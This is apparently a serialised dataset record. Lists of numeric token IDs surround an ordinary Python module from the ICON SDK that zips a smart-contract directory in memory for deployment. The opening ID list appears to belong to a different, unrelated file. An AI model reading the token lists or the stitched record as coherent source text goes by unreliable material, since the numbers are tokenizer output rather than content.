220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
25675,
62,
22105,
6920,
25,
6920,
13,
4529,
25675,
62,
22105,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
25675,
62,
22105,
5212,
25,
2176,
17800,
5212,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
611,
6920,
13,
47768,
62,
1462,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
6920,
13,
47768,
62,
1462,
198,
220,
220,
220,
220,
220,
220,
220,
3053,
62,
47768,
62,
1462,
796,
10352,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
611,
2746,
290,
581,
62,
312,
25,
1949,
284,
779,
7559,
20500,
62,
1136,
62,
47768,
62,
1462,
15506,
326,
5860,
262,
3188,
16144,
198,
220,
220,
220,
220,
220,
220,
220,
611,
6920,
13,
19849,
290,
6920,
13,
411,
62,
312,
290,
468,
35226,
7,
944,
13,
7742,
13,
1136,
7,
4529,
13,
19849,
828,
705,
20500,
62,
1136,
62,
47768,
62,
1462,
6,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3053,
62,
47768,
62,
1462,
796,
2116,
13,
7742,
13,
1136,
7,
4529,
13,
19849,
737,
20500,
62,
1136,
62,
47768,
62,
1462,
7,
6098,
11,
334,
312,
11,
685,
4529,
13,
411,
62,
312,
4357,
4732,
28,
22866,
38381,
15,
60,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
645,
16144,
10971,
62,
1462,
4613,
10971,
62,
1462,
481,
307,
262,
3053,
62,
6738,
11,
691,
262,
3053,
636,
198,
220,
220,
220,
220,
220,
220,
220,
611,
407,
3053,
62,
47768,
62,
1462,
290,
6920,
13,
12888,
62,
6738,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7237,
796,
4899,
13,
12888,
62,
35312,
7,
4529,
13,
12888,
62,
6738,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
7237,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3053,
62,
47768,
62,
1462,
796,
7237,
58,
15,
60,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
5794,
705,
24941,
1438,
1279,
12888,
62,
21975,
29,
6,
198,
220,
220,
220,
220,
220,
220,
220,
611,
3053,
62,
47768,
62,
1462,
290,
6920,
13,
19849,
290,
6920,
13,
411,
62,
312,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3188,
62,
3672,
796,
2116,
13,
7742,
13,
1136,
7,
4529,
13,
19849,
737,
3672,
62,
1136,
7,
6098,
11,
33088,
29904,
62,
2389,
11,
685,
4529,
13,
411,
62,
312,
4357,
4732,
28,
22866,
38381,
15,
60,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
3188,
62,
3672,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
5336,
270,
1096,
3188,
1438,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5336,
36951,
62,
15390,
62,
3672,
796,
302,
13,
7266,
7,
81,
6,
58,
61,
59,
86,
10,
8183,
10,
3256,
705,
12,
3256,
3188,
62,
3672,
58,
16,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
7716,
10971,
284,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3053,
62,
47768,
62,
1462,
796,
4808,
10786,
1,
7155,
364,
286,
4064,
82,
1,
1279,
4,
82,
29,
11537,
4064,
357,
12807,
36951,
62,
15390,
62,
3672,
11,
3053,
62,
47768,
62,
1462,
8,
628,
220,
220,
220,
220,
220,
220,
220,
1441,
3053,
62,
47768,
62,
1462,
628,
220,
220,
220,
825,
3758,
62,
1136,
62,
12888,
62,
11600,
7,
944,
11,
1067,
11,
334,
312,
11,
6920,
11,
5212,
28,
14202,
11,
4732,
28,
14202,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
8229,
257,
22155,
329,
2176,
3053,
3815,
11,
6906,
319,
257,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5212,
11,
393,
14276,
284,
262,
2187,
20352,
1813,
416,
6920,
13,
12888,
62,
1462,
13,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
25675,
62,
22105,
6920,
25,
6920,
13,
4529,
25675,
62,
22105,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
25675,
62,
22105,
5212,
25,
2176,
17800,
5212,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
1767,
796,
2116,
13,
21280,
62,
1136,
62,
4529,
62,
2618,
7,
6098,
11,
334,
312,
11,
6920,
11,
5212,
28,
3911,
1008,
11,
4732,
28,
22866,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2426,
796,
2116,
13,
21280,
62,
1136,
62,
4529,
62,
32796,
7,
6098,
11,
334,
312,
11,
6920,
11,
5212,
28,
3911,
1008,
11,
4732,
28,
22866,
8,
198,
220,
220,
220,
220,
220,
220,
220,
10971,
62,
1462,
796,
2116,
13,
21280,
62,
1136,
62,
4529,
62,
47768,
62,
1462,
7,
6098,
11,
334,
312,
11,
6920,
11,
5212,
28,
3911,
1008,
11,
4732,
28,
22866,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1767,
62,
33645,
876,
796,
4899,
13,
6494,
17,
25638,
5239,
7,
2618,
8,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
7716,
3053,
62,
1462,
11,
339,
27915,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
352,
13,
611,
705,
3911,
1008,
6,
318,
7368,
290,
612,
318,
257,
3519,
3188,
25,
7281,
364,
286,
705,
23579,
6,
1279,
12888,
29,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
362,
13,
611,
705,
3911,
1008,
6,
318,
7368,
11,
475,
645,
3519,
3188,
25,
35532,
6530,
1279,
12888,
29,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
513,
26,
2121,
1891,
319,
6920,
13,
12888,
62,
1462,
326,
356,
6626,
284,
423,
281,
3053,
9405,
1351,
198,
220,
220,
220,
220,
220,
220,
220,
611,
5212,
290,
6920,
13,
22105,
62,
3672,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5336,
36951,
62,
22105,
62,
3672,
796,
302,
13,
7266,
7,
81,
6,
58,
61,
59,
86,
10,
8183,
10,
3256,
705,
12,
3256,
6920,
13,
22105,
62,
3672,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3053,
62,
1462,
796,
685,
62,
10786,
1,
7155,
364,
286,
4064,
82,
1,
1279,
4,
82,
29,
11537,
4064,
357,
12807,
36951,
62,
22105,
62,
3672,
11,
5212,
13,
12888,
15437,
198,
220,
220,
220,
220,
220,
220,
220,
1288,
361,
5212,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3053,
62,
1462,
796,
37250,
4,
82,
1279,
4,
82,
29,
6,
4064,
357,
3911,
1008,
13,
3672,
11,
5212,
13,
12888,
15437,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3053,
62,
1462,
796,
4899,
13,
12888,
62,
35312,
7,
4529,
13,
12888,
62,
1462,
8,
628,
220,
220,
220,
220,
220,
220,
220,
1441,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
2618,
10354,
1767,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
2618,
62,
33645,
876,
10354,
1767,
62,
33645,
876,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
32796,
10354,
2426,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
12888,
62,
1462,
10354,
3053,
62,
1462,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
47768,
62,
1462,
10354,
10971,
62,
1462,
11,
198,
220,
220,
220,
220,
220,
220,
220,
1782,
628,
220,
220,
220,
825,
3758,
7,
944,
11,
1067,
11,
334,
312,
11,
220,
2340,
11,
8295,
62,
41509,
28,
25101,
11,
17800,
62,
2340,
28,
14202,
11,
4732,
28,
14202,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
311,
2412,
262,
6163,
7237,
3393,
11,
15482,
511,
1459,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1181,
357,
26165,
326,
423,
1541,
587,
1908,
815,
407,
307,
3804,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4556,
484,
815,
1682,
307,
302,
12,
34086,
737,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
39617,
7675,
6793,
389,
7498,
355,
705,
34086,
3256,
290,
883,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
326,
2038,
284,
307,
5203,
389,
7498,
355,
705,
1069,
4516,
3256,
290,
262,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
11188,
4049,
6920,
318,
5072,
287,
262,
4382,
17259,
13,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
20512,
8295,
62,
41509,
25,
1771,
284,
2700,
257,
4589,
286,
262,
6920,
3722,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
706,
7216,
1123,
6920,
357,
1326,
415,
691,
329,
6038,
18173,
7587,
1776,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
815,
1239,
307,
6407,
1141,
3487,
8945,
357,
12286,
25,
10352,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
1351,
17800,
62,
2340,
25,
2176,
1351,
286,
581,
13,
3911,
1008,
20352,
13,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1002,
900,
11,
530,
3053,
318,
1908,
284,
1123,
5212,
13,
6363,
318,
1744,
284,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
14009,
262,
1908,
3053,
832,
7559,
21280,
62,
1136,
62,
4529,
62,
2618,
15506,
290,
7559,
21280,
62,
1136,
62,
4529,
62,
32796,
15506,
13,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1002,
407,
7368,
11,
530,
3053,
318,
1908,
284,
6920,
62,
4529,
13,
12888,
62,
1462,
13,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
7783,
25,
6407,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
4173,
62,
4529,
62,
15388,
796,
2116,
13,
7742,
13,
1136,
10786,
343,
13,
4529,
62,
15388,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
329,
6920,
287,
2116,
13,
25367,
325,
7,
6098,
11,
334,
312,
11,
220,
2340,
11,
4732,
28,
22866,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
5412,
32161,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
32161,
796,
17635,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
329,
10199,
287,
6920,
13,
1078,
15520,
62,
2340,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
32161,
13,
33295,
19510,
47348,
13,
19608,
292,
62,
69,
3672,
11,
2779,
2414,
13,
65,
2414,
12501,
1098,
7,
47348,
13,
19608,
292,
22305,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
2176,
4069,
284,
24184,
262,
3758,
3053,
329,
17600,
4887,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3053,
62,
4868,
796,
17635,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
17800,
62,
2340,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5212,
62,
26801,
796,
2116,
13,
7742,
13,
1136,
10786,
411,
13,
3911,
1008,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4683,
62,
8344,
48137,
62,
2340,
796,
5212,
62,
26801,
13,
1069,
1023,
7,
6098,
11,
33088,
29904,
62,
2389,
11,
17800,
62,
2340,
11,
4732,
28,
22866,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
329,
5212,
287,
5212,
62,
26801,
13,
25367,
325,
7,
6098,
11,
33088,
29904,
62,
2389,
11,
4683,
62,
8344,
48137,
62,
2340,
11,
4732,
28,
22866,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3053,
62,
4868,
13,
33295,
7,
944,
13,
21280,
62,
1136,
62,
12888,
62,
11600,
7,
6098,
11,
334,
312,
11,
6920,
11,
5212,
28,
3911,
1008,
11,
4732,
28,
22866,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3053,
62,
4868,
13,
33295,
7,
944,
13,
21280,
62,
1136,
62,
12888,
62,
11600,
7,
6098,
11,
334,
312,
11,
6920,
11,
4732,
28,
22866,
4008,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
1382,
281,
30978,
2078,
1828,
3053,
13,
20500,
13,
12837,
2134,
290,
3758,
340,
1231,
8358,
4250,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
581,
796,
6045,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
329,
3053,
287,
3053,
62,
4868,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
31456,
796,
4173,
62,
4529,
62,
15388,
13,
11249,
62,
12888,
7,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3053,
62,
6738,
796,
6920,
13,
12888,
62,
6738,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3053,
62,
1462,
796,
3053,
13,
1136,
10786,
12888,
62,
1462,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2426,
796,
3053,
13,
1136,
10786,
32796,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1767,
796,
3053,
13,
1136,
10786,
2618,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1767,
62,
33645,
876,
796,
3053,
13,
1136,
10786,
2618,
62,
33645,
876,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3053,
62,
535,
796,
4899,
13,
12888,
62,
35312,
7,
4529,
13,
12888,
62,
535,
828,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
10971,
62,
1462,
796,
3053,
13,
1136,
10786,
47768,
62,
1462,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
32161,
796,
32161,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3275,
62,
312,
796,
6920,
13,
20500,
62,
312,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
10288,
796,
6920,
13,
5420,
4972,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2134,
62,
312,
796,
6920,
13,
411,
62,
312,
290,
19203,
4,
82,
12,
4,
82,
6,
4064,
357,
4529,
13,
411,
62,
312,
11,
6920,
13,
19849,
36911,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
850,
4906,
796,
705,
6494,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
850,
4906,
62,
33645,
876,
796,
705,
25638,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
581,
796,
4173,
62,
4529,
62,
15388,
13,
21280,
62,
12888,
7,
6098,
11,
334,
312,
11,
31456,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6920,
62,
15388,
62,
312,
28,
4529,
13,
4529,
62,
15388,
62,
312,
13,
312,
11,
4732,
28,
22866,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
581,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6920,
13,
13564,
15090,
6,
5219,
10354,
705,
34086,
3256,
705,
20500,
62,
312,
10354,
581,
30072,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6920,
62,
34086,
796,
6407,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6920,
13,
13564,
15090,
6,
5219,
10354,
705,
1069,
4516,
6,
30072,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6920,
62,
34086,
796,
10352,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
1220,
0,
59,
460,
470,
779,
6920,
13,
5219,
994,
11,
355,
6920,
13,
5420,
3447,
3419,
481,
2728,
281,
4049,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
766,
2710,
312,
25,
24313,
31,
404,
877,
79,
13,
785,
12,
1264,
22136,
1828,
1314,
1495,
2623,
12,
3682,
65,
17,
82,
2078,
6780,
67,
85,
18,
1118,
81,
287,
718,
13,
16,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
6920,
62,
34086,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13557,
7353,
14681,
62,
34086,
62,
20500,
7,
6098,
11,
334,
312,
11,
6920,
11,
4732,
28,
22866,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2845,
14059,
12331,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
2948,
16508,
32361,
14059,
9139,
5965,
11,
14310,
510,
284,
19361,
2836,
393,
15614,
1067,
261,
1693,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
2427,
286,
18730,
262,
6920,
355,
4054,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5298,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2845,
35528,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4808,
6404,
1362,
13,
1069,
4516,
10786,
47904,
7216,
6920,
13,
4529,
4064,
82,
3256,
6920,
13,
312,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6920,
13,
13564,
15090,
6,
5219,
10354,
705,
1069,
4516,
6,
30072,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
8295,
62,
41509,
6624,
6407,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1067,
13,
41509,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
6407,
198
] | 2.317446 | 6,483 |
# -*- coding: utf-8 -*-
# Copyright 2018 ICON Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from io import BytesIO
from os import path, walk
from zipfile import ZipFile, ZIP_DEFLATED
from iconsdk.exception import ZipException
def gen_deploy_data_content(_path: str) -> bytes:
"""Generate bytes of zip data of SCORE.
:param _path: Path of the directory to be zipped.
"""
if path.isdir(_path) is False and path.isfile(_path) is False:
raise ValueError(f"Invalid path {_path}")
try:
memory_zip = InMemoryZip()
memory_zip.zip_in_memory(_path)
except ZipException:
raise ZipException(f"Can't zip SCORE contents")
else:
return memory_zip.data
class InMemoryZip:
"""Class for compressing data in memory using zip and BytesIO."""
@property
def data(self) -> bytes:
"""Returns zip data
:return: zip data
"""
self._in_memory.seek(0)
return self._in_memory.read()
def zip_in_memory(self, _path: str):
"""Compress zip data (bytes) in memory.
:param _path: The path of the directory to be zipped.
"""
try:
# when it is a zip file
if path.isfile(_path):
zf = ZipFile(_path, 'r', ZIP_DEFLATED, False)
zf.testzip()
with open(_path, mode='rb') as fp:
fp.seek(0)
self._in_memory.seek(0)
self._in_memory.write(fp.read())
else:
# root path for figuring out directory of tests
tmp_root = None
with ZipFile(self._in_memory, 'a', ZIP_DEFLATED, False, compresslevel=9) as zf:
for root, folders, files in walk(_path):
if 'package.json' in files:
tmp_root = root
if tmp_root and root.replace(tmp_root,'') == '/tests':
continue
if root.find('__pycache__') != -1:
continue
if root.find('/.') != -1:
continue
for file in files:
if file.startswith('.'):
continue
full_path = path.join(root, file)
zf.write(full_path)
except ZipException:
raise ZipException
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
2,
15069,
2864,
314,
10943,
5693,
198,
2,
198,
2,
49962,
739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169,
366,
34156,
15341,
198,
2,
345,
743,
407,
779,
428,
2393,
2845,
287,
11846,
351,
262,
13789,
13,
198,
2,
921,
743,
7330,
257,
4866,
286,
262,
13789,
379,
198,
2,
198,
2,
2638,
1378,
2503,
13,
43073,
13,
2398,
14,
677,
4541,
14,
43,
2149,
24290,
12,
17,
13,
15,
198,
2,
198,
2,
17486,
2672,
416,
9723,
1099,
393,
4987,
284,
287,
3597,
11,
3788,
198,
2,
9387,
739,
262,
13789,
318,
9387,
319,
281,
366,
1921,
3180,
1,
29809,
1797,
11,
198,
2,
42881,
34764,
11015,
6375,
7102,
49828,
11053,
3963,
15529,
509,
12115,
11,
2035,
4911,
393,
17142,
13,
198,
2,
4091,
262,
13789,
329,
262,
2176,
3303,
15030,
21627,
290,
198,
2,
11247,
739,
262,
13789,
13,
198,
198,
6738,
33245,
1330,
2750,
4879,
9399,
198,
6738,
28686,
1330,
3108,
11,
2513,
198,
6738,
19974,
7753,
1330,
38636,
8979,
11,
42977,
62,
7206,
3697,
11617,
198,
198,
6738,
17149,
34388,
13,
1069,
4516,
1330,
38636,
16922,
628,
198,
4299,
2429,
62,
2934,
1420,
62,
7890,
62,
11299,
28264,
6978,
25,
965,
8,
4613,
9881,
25,
198,
220,
220,
220,
37227,
8645,
378,
9881,
286,
19974,
1366,
286,
6374,
6965,
13,
628,
220,
220,
220,
1058,
17143,
4808,
6978,
25,
10644,
286,
262,
8619,
284,
307,
1976,
3949,
13,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
611,
3108,
13,
9409,
343,
28264,
6978,
8,
318,
10352,
290,
3108,
13,
4468,
576,
28264,
6978,
8,
318,
10352,
25,
198,
220,
220,
220,
220,
220,
220,
220,
5298,
11052,
12331,
7,
69,
1,
44651,
3108,
1391,
62,
6978,
92,
4943,
198,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
4088,
62,
13344,
796,
554,
30871,
41729,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
4088,
62,
13344,
13,
13344,
62,
259,
62,
31673,
28264,
6978,
8,
198,
220,
220,
220,
2845,
38636,
16922,
25,
198,
220,
220,
220,
220,
220,
220,
220,
5298,
38636,
16922,
7,
69,
1,
6090,
470,
19974,
6374,
6965,
10154,
4943,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
4088,
62,
13344,
13,
7890,
628,
198,
4871,
554,
30871,
41729,
25,
198,
220,
220,
220,
37227,
9487,
329,
552,
11697,
1366,
287,
4088,
1262,
19974,
290,
2750,
4879,
9399,
526,
15931,
628,
220,
220,
220,
2488,
26745,
198,
220,
220,
220,
825,
1366,
7,
944,
8,
4613,
9881,
25,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
35561,
19974,
1366,
628,
220,
220,
220,
220,
220,
220,
220,
1058,
7783,
25,
19974,
1366,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13557,
259,
62,
31673,
13,
36163,
7,
15,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
2116,
13557,
259,
62,
31673,
13,
961,
3419,
628,
220,
220,
220,
825,
19974,
62,
259,
62,
31673,
7,
944,
11,
4808,
6978,
25,
965,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
7293,
601,
19974,
1366,
357,
33661,
8,
287,
4088,
13,
628,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
4808,
6978,
25,
383,
3108,
286,
262,
8619,
284,
307,
1976,
3949,
13,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
618,
340,
318,
257,
19974,
2393,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
3108,
13,
4468,
576,
28264,
6978,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1976,
69,
796,
38636,
8979,
28264,
6978,
11,
705,
81,
3256,
42977,
62,
7206,
3697,
11617,
11,
10352,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1976,
69,
13,
9288,
13344,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
351,
1280,
28264,
6978,
11,
4235,
11639,
26145,
11537,
355,
277,
79,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
277,
79,
13,
36163,
7,
15,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13557,
259,
62,
31673,
13,
36163,
7,
15,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13557,
259,
62,
31673,
13,
13564,
7,
46428,
13,
961,
28955,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
6808,
3108,
329,
22714,
503,
8619,
286,
5254,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
45218,
62,
15763,
796,
6045,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
351,
38636,
8979,
7,
944,
13557,
259,
62,
31673,
11,
705,
64,
3256,
42977,
62,
7206,
3697,
11617,
11,
10352,
11,
27413,
5715,
28,
24,
8,
355,
1976,
69,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
